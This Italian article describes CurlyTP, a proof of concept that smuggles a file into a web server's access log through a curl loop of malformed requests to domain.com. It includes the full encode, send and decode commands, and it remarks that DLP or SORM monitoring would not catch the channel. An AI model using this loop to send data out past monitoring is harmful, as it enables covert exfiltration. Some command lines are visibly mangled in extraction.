Secondo la definizione di Wikipedia, un dead drop è uno strumento di cospirazione che serve per lo scambio di informazioni o oggetti tra persone che utilizzano un luogo segreto. L'idea è che le persone non si incontrano mai, ma scambiano informazioni mantenendo la sicurezza operativa.
Il dead drop non deve attrarre l'attenzione. Pertanto, nel mondo offline si utilizzano spesso oggetti poco appariscenti: un mattone libero in un muro, un libro in biblioteca o un tronco in un albero.
Ci sono molti strumenti per crittografare e anonimizzare su Internet, ma il semplice utilizzo di questi strumenti attira attenzione. Inoltre, potrebbero essere bloccati a livello aziendale o governativo. Cosa si può fare?
Lo sviluppatore Ryan Flowers ha suggerito un'interessante alternativa — Se ci pensi, cosa fa un server web? Riceve richieste, fornisce file e scrive log. E registra nel log tutte le richieste, anche quelle errate.!
Di conseguenza, qualsiasi server web permette di salvare nel log praticamente un messaggio arbitrario. Flowers si è chiesto come utilizzare questo.
Propone questa soluzione:
- Prendiamo un file di testo (messaggio segreto) e calcoliamo un hash (md5sum).
- Lo codifichiamo (gzip+uuencode).
- Lo scriviamo nel log tramite una richiesta deliberatamente errata al server.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | shPer leggere il file, è necessario eseguire queste operazioni in ordine inverso: decodificare e decomprimere il file, controllare l'hash (l'hash può essere trasmesso in sicurezza su canali aperti).
Gli spazi vengono sostituiti con =+=, per evitare che ci siano spazi nell'indirizzo. Il programma, che l'autore ha chiamato CurlyTP, utilizza la codifica base64, come negli allegati di posta elettronica. La richiesta viene effettuata con una parola chiave ?transfer?, in modo che il destinatario la trovi facilmente nei log.
Cosa vediamo nei log in questo caso?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"Come già detto, per ottenere il messaggio segreto è necessario eseguire le operazioni in ordine inverso:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 gIl processo può essere facilmente automatizzato. Md5sum corrisponde e il contenuto del file conferma che tutto è stato decodificato correttamente.
Il metodo è molto semplice. "L'importanza di questo esercizio è dimostrare che i file possono essere trasmessi tramite innocue piccole richieste web, e che funziona su qualsiasi server web con log di testo normali. In sostanza, ogni server web è un dead drop!", scrive Flowers.
Certo, il metodo funziona solo se il destinatario ha accesso ai log del server. Ma tale accesso è fornito, ad esempio, da molti provider di hosting.
Come usarlo?
Ryan Flowers afferma di non essere un esperto di sicurezza informatica e non fornirà un elenco di possibili applicazioni per CurlyTP. Per lui è solo una prova di concetto, che gli strumenti comuni che vediamo ogni giorno possono essere utilizzati in modi non convenzionali.
In effetti, questo metodo ha diversi vantaggi rispetto ad altri "nascondigli" server come o : non richiede configurazioni particolari sul server o protocolli speciali — e non susciterà sospetti da parte di chi monitora il traffico. È molto improbabile che SORM o un sistema DLP scansionino gli URL per file di testo compressi.
Questo è uno dei modi per trasmettere messaggi attraverso file di servizio. Si può ricordare come alcune aziende avanzate un tempo pubblicassero o nel codice delle pagine HTML.

L'idea era che solo i programmatori web avrebbero visto tale "uovo di Pasqua", poiché una persona normale non controllerebbe le intestazioni o il codice HTML.
Fonte: habr.com
